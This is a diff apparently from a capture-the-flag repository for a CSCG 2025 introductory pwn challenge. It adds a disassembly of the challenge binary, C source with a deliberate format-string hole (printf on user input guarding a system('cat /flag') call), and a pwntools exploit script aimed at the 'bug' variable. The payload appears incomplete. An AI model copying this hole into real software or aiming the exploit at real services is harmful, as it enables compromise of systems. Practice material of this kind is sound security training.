+  4010ec:	ff e0                	jmp    rax
+  4010ee:	66 90                	xchg   ax,ax
+  4010f0:	c3                   	ret    
+  4010f1:	66 66 2e 0f 1f 84 00 	data16 cs nop WORD PTR [rax+rax*1+0x0]
+  4010f8:	00 00 00 00 
+  4010fc:	0f 1f 40 00          	nop    DWORD PTR [rax+0x0]
+
+0000000000401100 <register_tm_clones>:
+  401100:	be 40 40 40 00       	mov    esi,0x404040
+  401105:	48 81 ee 40 40 40 00 	sub    rsi,0x404040
+  40110c:	48 89 f0             	mov    rax,rsi
+  40110f:	48 c1 ee 3f          	shr    rsi,0x3f
+  401113:	48 c1 f8 03          	sar    rax,0x3
+  401117:	48 01 c6             	add    rsi,rax
+  40111a:	48 d1 fe             	sar    rsi,1
+  40111d:	74 11                	je     401130 <register_tm_clones+0x30>
+  40111f:	b8 00 00 00 00       	mov    eax,0x0
+  401124:	48 85 c0             	test   rax,rax
+  401127:	74 07                	je     401130 <register_tm_clones+0x30>
+  401129:	bf 40 40 40 00       	mov    edi,0x404040
+  40112e:	ff e0                	jmp    rax
+  401130:	c3                   	ret    
+  401131:	66 66 2e 0f 1f 84 00 	data16 cs nop WORD PTR [rax+rax*1+0x0]
+  401138:	00 00 00 00 
+  40113c:	0f 1f 40 00          	nop    DWORD PTR [rax+0x0]
+
+0000000000401140 <__do_global_dtors_aux>:
+  401140:	f3 0f 1e fa          	endbr64 
+  401144:	80 3d 1d 2f 00 00 00 	cmp    BYTE PTR [rip+0x2f1d],0x0        # 404068 <completed.0>
+  40114b:	75 13                	jne    401160 <__do_global_dtors_aux+0x20>
+  40114d:	55                   	push   rbp
+  40114e:	48 89 e5             	mov    rbp,rsp
+  401151:	e8 7a ff ff ff       	call   4010d0 <deregister_tm_clones>
+  401156:	c6 05 0b 2f 00 00 01 	mov    BYTE PTR [rip+0x2f0b],0x1        # 404068 <completed.0>
+  40115d:	5d                   	pop    rbp
+  40115e:	c3                   	ret    
+  40115f:	90                   	nop
+  401160:	c3                   	ret    
+  401161:	66 66 2e 0f 1f 84 00 	data16 cs nop WORD PTR [rax+rax*1+0x0]
+  401168:	00 00 00 00 
+  40116c:	0f 1f 40 00          	nop    DWORD PTR [rax+0x0]
+
+0000000000401170 <frame_dummy>:
+  401170:	f3 0f 1e fa          	endbr64 
+  401174:	eb 8a                	jmp    401100 <register_tm_clones>
+
+0000000000401176 <ignore_me_init_buffering>:
+  401176:	55                   	push   rbp
+  401177:	48 89 e5             	mov    rbp,rsp
+  40117a:	48 8b 05 cf 2e 00 00 	mov    rax,QWORD PTR [rip+0x2ecf]        # 404050 <stdin@GLIBC_2.2.5>
+  401181:	b9 00 00 00 00       	mov    ecx,0x0
+  401186:	ba 02 00 00 00       	mov    edx,0x2
+  40118b:	be 00 00 00 00       	mov    esi,0x0
+  401190:	48 89 c7             	mov    rdi,rax
+  401193:	e8 d8 fe ff ff       	call   401070 <setvbuf@plt>
+  401198:	48 8b 05 a1 2e 00 00 	mov    rax,QWORD PTR [rip+0x2ea1]        # 404040 <stdout@GLIBC_2.2.5>
+  40119f:	b9 00 00 00 00       	mov    ecx,0x0
+  4011a4:	ba 02 00 00 00       	mov    edx,0x2
+  4011a9:	be 00 00 00 00       	mov    esi,0x0
+  4011ae:	48 89 c7             	mov    rdi,rax
+  4011b1:	e8 ba fe ff ff       	call   401070 <setvbuf@plt>
+  4011b6:	48 8b 05 a3 2e 00 00 	mov    rax,QWORD PTR [rip+0x2ea3]        # 404060 <stderr@GLIBC_2.2.5>
+  4011bd:	b9 00 00 00 00       	mov    ecx,0x0
+  4011c2:	ba 02 00 00 00       	mov    edx,0x2
+  4011c7:	be 00 00 00 00       	mov    esi,0x0
+  4011cc:	48 89 c7             	mov    rdi,rax
+  4011cf:	e8 9c fe ff ff       	call   401070 <setvbuf@plt>
+  4011d4:	90                   	nop
+  4011d5:	5d                   	pop    rbp
+  4011d6:	c3                   	ret    
+
+00000000004011d7 <vuln>:
+  4011d7:	55                   	push   rbp
+  4011d8:	48 89 e5             	mov    rbp,rsp
+  4011db:	48 81 ec 10 04 00 00 	sub    rsp,0x410
+  4011e2:	48 8d 05 1f 0e 00 00 	lea    rax,[rip+0xe1f]        # 402008 <_IO_stdin_used+0x8>
+  4011e9:	48 89 c7             	mov    rdi,rax
+  4011ec:	e8 3f fe ff ff       	call   401030 <puts@plt>
+  4011f1:	48 8d 85 f0 fb ff ff 	lea    rax,[rbp-0x410]
+  4011f8:	ba ff 03 00 00       	mov    edx,0x3ff
+  4011fd:	48 89 c6             	mov    rsi,rax
+  401200:	bf 00 00 00 00       	mov    edi,0x0
+  401205:	e8 56 fe ff ff       	call   401060 <read@plt>
+  40120a:	89 45 fc             	mov    DWORD PTR [rbp-0x4],eax
+  40120d:	8b 45 fc             	mov    eax,DWORD PTR [rbp-0x4]
+  401210:	83 e8 01             	sub    eax,0x1
+  401213:	48 98                	cdqe   
+  401215:	c6 84 05 f0 fb ff ff 	mov    BYTE PTR [rbp+rax*1-0x410],0x0
+  40121c:	00 
+  40121d:	48 8d 05 f7 0d 00 00 	lea    rax,[rip+0xdf7]        # 40201b <_IO_stdin_used+0x1b>
+  401224:	48 89 c7             	mov    rdi,rax
+  401227:	b8 00 00 00 00       	mov    eax,0x0
+  40122c:	e8 1f fe ff ff       	call   401050 <printf@plt>
+  401231:	48 8d 85 f0 fb ff ff 	lea    rax,[rbp-0x410]
+  401238:	48 89 c7             	mov    rdi,rax
+  40123b:	b8 00 00 00 00       	mov    eax,0x0
+  401240:	e8 0b fe ff ff       	call   401050 <printf@plt>
+  401245:	48 8d 05 da 0d 00 00 	lea    rax,[rip+0xdda]        # 402026 <_IO_stdin_used+0x26>
+  40124c:	48 89 c7             	mov    rdi,rax
+  40124f:	e8 dc fd ff ff       	call   401030 <puts@plt>
+  401254:	8b 05 12 2e 00 00    	mov    eax,DWORD PTR [rip+0x2e12]        # 40406c <bug>
+  40125a:	85 c0                	test   eax,eax
+  40125c:	74 2d                	je     40128b <vuln+0xb4>
+  40125e:	48 8d 05 c3 0d 00 00 	lea    rax,[rip+0xdc3]        # 402028 <_IO_stdin_used+0x28>
+  401265:	48 89 c7             	mov    rdi,rax
+  401268:	b8 00 00 00 00       	mov    eax,0x0
+  40126d:	e8 de fd ff ff       	call   401050 <printf@plt>
+  401272:	48 8d 05 fc 0d 00 00 	lea    rax,[rip+0xdfc]        # 402075 <_IO_stdin_used+0x75>
+  401279:	48 89 c7             	mov    rdi,rax
+  40127c:	e8 bf fd ff ff       	call   401040 <system@plt>
+  401281:	bf 00 00 00 00       	mov    edi,0x0
+  401286:	e8 f5 fd ff ff       	call   401080 <exit@plt>
+  40128b:	48 8d 05 ee 0d 00 00 	lea    rax,[rip+0xdee]        # 402080 <_IO_stdin_used+0x80>
+  401292:	48 89 c7             	mov    rdi,rax
+  401295:	e8 96 fd ff ff       	call   401030 <puts@plt>
+  40129a:	90                   	nop
+  40129b:	c9                   	leave  
+  40129c:	c3                   	ret    
+
+000000000040129d <main>:
+  40129d:	55                   	push   rbp
+  40129e:	48 89 e5             	mov    rbp,rsp
+  4012a1:	48 83 ec 10          	sub    rsp,0x10
+  4012a5:	89 7d fc             	mov    DWORD PTR [rbp-0x4],edi
+  4012a8:	48 89 75 f0          	mov    QWORD PTR [rbp-0x10],rsi
+  4012ac:	b8 00 00 00 00       	mov    eax,0x0
+  4012b1:	e8 c0 fe ff ff       	call   401176 <ignore_me_init_buffering>
+  4012b6:	b8 00 00 00 00       	mov    eax,0x0
+  4012bb:	e8 17 ff ff ff       	call   4011d7 <vuln>
+  4012c0:	b8 00 00 00 00       	mov    eax,0x0
+  4012c5:	c9                   	leave  
+  4012c6:	c3                   	ret    
+
+Disassembly of section .fini:
+
+00000000004012c8 <_fini>:
+  4012c8:	48 83 ec 08          	sub    rsp,0x8
+  4012cc:	48 83 c4 08          	add    rsp,0x8
+  4012d0:	c3                   	ret    

cscg25/pwn/intro2/exploit.py

@@ -0,0 +1,29 @@
+from pwn import *
+
+# Set the context for the binary
+context.binary = './intro-fmt'  # Replace with your binary's name
+
+# Choose local or remote
+LOCAL = True # Change to False if connecting remotely
+
+if LOCAL:
+    p = process(context.binary.path)
+else:
+    p = remote("39d9389ef3a77235a475377e-1024-intro-pwn-2.challenge.cscg.live", 1337, ssl=True)# Define functions for convenience
+def send_payload(payload):
+    p.sendline(payload)
+
+def recv_until(delim):
+    return p.recvuntil(delim)
+
+def interact():
+    p.interactive()
+
+bug_addr = 0x40406c
+
+# Example interaction
+recv_until(b'What is your name?')
+payload = b"\x6c\x40\x40 %x %x %x %x %s"
+send_payload(payload)
+
+interact()  # Keep the shell open

cscg25/pwn/intro2/flag

@@ -0,0 +1 @@
+CSCG{testflag}

cscg25/pwn/intro2/intro-fmt.c

@@ -0,0 +1,41 @@
+#include <stdio.h>
+#include <stdlib.h>
+#include <unistd.h>
+
+// --------------------------------------------------- SETUP
+
+void ignore_me_init_buffering() {
+  setvbuf(stdin, NULL, _IONBF, 0);
+  setvbuf(stdout, NULL, _IONBF, 0);
+  setvbuf(stderr, NULL, _IONBF, 0);
+}
+
+// --------------------------------------------------- VULNERABLE FUNCTION
+
+int bug = 0;
+void vuln() {
+  char name[1024];
+  printf("What is your name?\n");
+  int number_read = read(STDIN_FILENO, name, sizeof(name) - 1);
+  name[number_read - 1] = 0;
+  printf("Thank you ");
+  printf(name);
+  printf("!\n");
+  if (bug) {
+    printf("Oh, you got here somehow, you must have triggered a bug.. Here is "
+           "the flag: ");
+    system("cat /flag");
+    exit(0);
+  }
+  printf("But our flag is in another branch!\n");
+}
+
+// --------------------------------------------------- MAIN
+
+int main(int argc, char **argv) {
+  (void)argc;
+  (void)argv;
+  ignore_me_init_buffering();
+
+  vuln();
+}